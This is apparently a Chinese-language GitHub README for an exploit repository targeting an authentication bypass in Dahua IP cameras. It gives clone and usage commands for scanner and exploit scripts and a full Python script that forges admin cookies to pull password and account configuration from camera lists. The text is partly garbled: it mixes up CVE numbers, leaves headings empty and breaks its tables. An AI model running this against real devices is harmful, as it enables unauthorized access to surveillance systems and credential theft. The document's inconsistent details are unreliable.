DAHUA_AUTH-BYPASS-CVE-2021-33044
Dahua IP摄像头是安防监控系统中广泛使用的物联网设备。由于常部署在内网或可从互联网访问,IP摄像头的安全漏洞会严重影响隐私和信息安全。
CVE-2021-33045是存在于某些Dahua摄像头系列中的安全漏洞,允许未经身份验证即可非法访问内部配置资源。该漏洞源于设备固件中访问控制机制不严格。
| 项目 | 内容 |
|---|---|
| CVE | CVE-2021-33044 |
| 类型 | Authentication Bypass |
| 严重程度 | Critical (CVSS ~9.8) |
| 认证 | 无需认证 |
| 影响范围 | Dahua Camera / DVR / NVR |
漏洞源于Dahua摄像头固件中不安全的认证设计:
这使得攻击者可以:
参考:
→ 客户端发送带有任意cookie的HTTP请求
→ 摄像头在界面层检查cookie
→ 后端未验证有效session
→ 允许直接访问内部配置端点
→ 返回敏感数据
| File | 目的 |
|---|
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
常用Dahua端口:80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump thiết bị sau khi bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
脚本使用requests库,并主动禁用SSL警告以避免警告信息
函数dump_accounts(ip, port=80)是负责检查一台摄像头设备的主函数。
该函数的主要功能是:
模拟认证cookie。函数使用以下cookie值:
userName=adminuserLevel=1sessionID=00000000在受影响的摄像头版本中,后端不验证实际的sessionID,导致系统认为请求来自有效的管理员账户。
脚本从输入文件读取目标列表,依次对每个设备调用检查函数。这种方法允许自动评估多个摄像头。
这些脚本基于以下内容开发:
测试状态:
本项目:
| CVEs |
|---|
dahua_scanner.py | 网络发现 — 查找子网中的Dahua摄像头 | 发现 |
dahua_exploit.py | Multi-CVE扫描工具 — 检查所有安全漏洞。 | 所有 |
dahua_auth_bypass.py | 专用认证绕过,带有--dump选项 | CVE-2021-33044 |